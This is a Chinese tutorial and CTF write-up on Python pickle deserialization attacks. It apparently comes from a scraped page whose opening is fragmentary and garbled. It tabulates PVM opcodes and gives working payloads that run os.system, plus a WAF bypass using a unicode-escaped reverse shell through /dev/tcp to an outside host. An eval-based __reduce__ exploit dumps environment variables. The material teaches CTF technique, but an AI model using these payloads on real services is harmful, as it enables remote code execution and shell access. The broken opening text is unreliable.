__dict__
属性值或 __getstate__()
函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)object.__reduce__()
函数object.__reduce__()
函数,使之在被实例化时按照重写的方式进行。具体而言,python要求 object.__reduce__()
返回一个 (callable, ([para1,para2...])[,...])
的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。object.__reduce__()
关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实 R 正好对应 object.__reduce__()
函数, object.__reduce__()
的返回值会作为 R 的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R 的。pickle解析依靠Pickle Virtual Machine (PVM)进行。
PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
.
停止。最终留在栈顶的值将被作为反序列化对象返回。pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本。
pickle0版本的部分opcode表格:
Opcode | Data type loaded onto the stack | Example |
---|---|---|
S | String | S’foo’\n |
V | Unicode | Vfo\u006f\n |
I | Integer | I42\n |
… | … | … |
使用pickletools可以方便的将opcode转化为便于肉眼读取的形式
示例
import pickletools
opcode=b'''cos
system
(S'whoami'
tR.'''
print(pickletools.dis(opcode))
print(opcode)
__reduce__
来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。常用opcode解析
opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
---|---|---|---|---|
c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
N | 实例化一个None | N | 获得的对象入栈 | 无 |
S | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 | 无 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
由这些opcode我们可以得到一些需要注意的地方:
append
对应a
、extend
对应e
;字典的update
对应u
)。c
操作符会尝试import
库,所以在pickle.loads
时不需要漏洞代码中先引入系统库。getattr
、dict.get
)才能进行。但是因为存在s
、u
、b
操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有c
、i
。而如何查值也是CTF的一个重要考点。s
、u
、b
操作符可以构造并赋值原来没有的属性、键值对。函数执行
与函数执行相关的opcode有三个: R 、 i 、 o ,所以我们可以从三个方向进行构造:
1.R
:
b'''cos
system
(S'whoami'
tR.'''
调用os模块的system函数,传入执行命令。
解释一下,首先是c操作符调用os模块的system函数,接着MARK标记入栈,实例化字符串whoami
,运用t操作符寻找栈中的上一个MARK(也就是(
),并组合之间的数据为元组,然后使用R操作符选择栈上的第一个对象作为函数、第二个对象作为参数命令执行
2.i
:
b'''(S'whoami'
ios
system
.'''
运用i操作符,具体可看前文opcode表格
3.o
:
b'''(cos
system
S'whoami'
o.'''
本文参考文章:链接
不同系统生成的payload不一样,所以根据具体需求进行使用
pickle反序列化源码
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
首先将opcode进行关键字替换,然后base64解码赋值给a;接着进行if判断Rirb是否存在变量a中,然后进行pickle反序列化
这里虽然禁用操作符使得难以绕过,但是waf存在逻辑漏洞,也就是说pickle的对象是ser_data,而不是a,所以我们opcode中有os虽然被替换成Os,但是我们还是能执行opcode
payload
opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
//pickletools转换一下
0: ( MARK 先传入一个标志到堆栈上,
1: S STRING 'key1' 给栈添加一行string类型数据key1
9: S STRING 'val1' 给栈添加一行string数据val1
17: d DICT (MARK at 0) 将堆栈里面的所有数据取出然后组成字典放入堆栈
18: S STRING 'vul' 放入一个string类型数据vul
25: ( MARK 再传入一个标志
26: c GLOBAL 'os system' c操作码提取下面的两行作为module下的一个全局对象此时就是os.system
37: V UNICODE 'calc' 读入一个字符串,以\n结尾;然后把这个字符串压进栈中
43: o OBJ (MARK at 25) o操作码建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数))
44: s SETITEM 从堆栈中弹出三个值,一个字典,一个键和值。键/值条目是添加到字典,它被推回到堆栈上
45: . STOP
本题需要反弹shell,但是语句里面存在字符i,我们利用V操作符识别\u
的特性,将语句unicode编码一下即可
import base64
opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0035\u0069\u0037\u0038\u0031\u0039\u0036\u0033\u0070\u0032\u002e\u0079\u0069\u0063\u0070\u002e\u0066\u0075\u006e\u002f\u0035\u0038\u0032\u0036\u0035\u0020\u0030\u003e\u0026\u0031\u0027\nos.'''
print(base64.b64encode(opcode))
打开题目,直接给了源码
import base64
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()
@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"
@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0')
分析一下,给了两个路由
exp(flag在环境变量中)
import pickle
import base64
class A():
def __reduce__(self):
return (eval,("__import__('o'+'s').system('env | tee a')",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
然后读取得到flag